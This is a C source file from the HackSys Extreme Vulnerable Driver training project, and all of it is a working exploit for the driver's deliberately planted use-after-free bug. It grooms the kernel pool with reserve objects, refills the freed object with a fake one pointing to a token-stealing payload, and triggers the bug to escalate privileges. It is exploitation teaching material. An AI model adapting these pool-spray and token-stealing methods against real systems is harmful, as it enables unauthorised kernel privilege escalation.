/*++ ## ## ######## ## ## ######## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######### ###### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######## ### ######## HackSys Extreme Vulnerable Driver Exploit Author : Ashfaq Ansari Contact: ashfaq[at]hacksys[dot]io Website: https://hacksys.io/ Copyright (C) 2021-2023 HackSys Inc. All rights reserved. Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. See the file 'LICENSE' for complete copying permission. Module Name: UseAfterFree.c Abstract: This module implements the exploit for Use After Free Vulnerability implemented in HackSys Extreme Vulnerable Driver. --*/ #include "UseAfterFree.h" VOID SprayNonPagedPoolWithReserveObjects() { UINT32 i = 0; HMODULE hModule = NULL; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; hModule = LoadLibraryA("ntdll.dll"); if (!hModule) { DEBUG_ERROR("\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } NtAllocateReserveObject = (NtAllocateReserveObject_t)GetProcAddress(hModule, "NtAllocateReserveObject"); if (!NtAllocateReserveObject) { DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateReserveObject: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } for (i = 0; i < 10000; i++) { NtStatus = NtAllocateReserveObject(&ReserveObjectArrayA[i], 0, IO_COMPLETION_OBJECT); if (NtStatus != STATUS_SUCCESS) { DEBUG_ERROR("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } for (i = 0; i < 5000; i++) { NtStatus = NtAllocateReserveObject(&ReserveObjectArrayB[i], 0, IO_COMPLETION_OBJECT); if (NtStatus != STATUS_SUCCESS) { DEBUG_ERROR("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } } VOID CreateHolesInNonPagedPoolByClosingReserveObjects() { UINT32 i = 0; for (i = 0; i < 5000; i += 2) { if (!CloseHandle(ReserveObjectArrayB[i])) { DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } } VOID FreeReserveObjects() { UINT32 i = 0; for (i = 0; i < 10000; i++) { if (!CloseHandle(ReserveObjectArrayA[i])) { DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } for (i = 1; i < 5000; i +=2) { if (!CloseHandle(ReserveObjectArrayB[i])) { DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } } } DWORD WINAPI UseAfterFreeThread(LPVOID Parameter) { UINT32 i = 0; HANDLE hFile = NULL; ULONG BytesReturned; PFAKE_OBJECT FakeObject = NULL; LPCSTR FileName = (LPCSTR)DEVICE_NAME; PVOID EopPayload = &TokenStealingPayloadWin7Generic; __try { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile); } DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n"); DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); // Allocate the Heap chunk FakeObject = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(FAKE_OBJECT)); if (!FakeObject) { DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", FakeObject); DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(FAKE_OBJECT)); } DEBUG_INFO("\t\t[+] Preparing FAKE_OBJECT structure\n"); RtlFillMemory((PVOID)FakeObject, sizeof(FAKE_OBJECT), 0x41); FakeObject->buffer[sizeof(FakeObject->buffer) - 1] = '\0'; *(PULONG)FakeObject = (ULONG)EopPayload; DEBUG_INFO("\t\t\t[+] FakeObject Value: 0x%p\n", *(PULONG)FakeObject); DEBUG_INFO("\t\t\t[+] FakeObject Address: 0x%p\n", FakeObject); DEBUG_INFO("\t\t\t[+] FAKE_OBJECT Size: 0x%X\n", sizeof(FAKE_OBJECT)); DEBUG_INFO("\t\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n"); DEBUG_INFO("\t\t\t[+] Spraying With Reserve Objects\n"); SprayNonPagedPoolWithReserveObjects(); DEBUG_INFO("\t\t\t[+] Creating Holes\n"); CreateHolesInNonPagedPoolByClosingReserveObjects(); DEBUG_INFO("\t\t[+] Working With Vulnerable UaF Object In NonPaged Pool\n"); DEBUG_INFO("\t\t\t[+] Allocating UaF Object\n"); OutputDebugString("****************Kernel Mode****************\n"); DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT, NULL, 0, NULL, 0, &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); DEBUG_INFO("\t\t\t[+] Freeing UaF Object\n"); OutputDebugString("****************Kernel Mode****************\n"); DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT, NULL, 0, NULL, 0, &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); // Allocate the FAKE_OBJECT multiple times to take up the freed memory chunk DEBUG_INFO("\t\t\t[+] Filling Freed Chunks\n"); OutputDebugString("****************Kernel Mode****************\n"); for (i = 0; i < 0x1000; i++) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT, (LPVOID)FakeObject, 0, NULL, 0, &BytesReturned, NULL); } OutputDebugString("****************Kernel Mode****************\n"); DEBUG_INFO("\t\t\t[+] Freeing Reserve Objects\n"); FreeReserveObjects(); DEBUG_MESSAGE("\t[+] Triggering Kernel Use After Free\n"); OutputDebugString("****************Kernel Mode****************\n"); DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_USE_UAF_OBJECT, NULL, 0, NULL, 0, &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); HeapFree(GetProcessHeap(), 0, (LPVOID)FakeObject); FakeObject = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } return EXIT_SUCCESS; }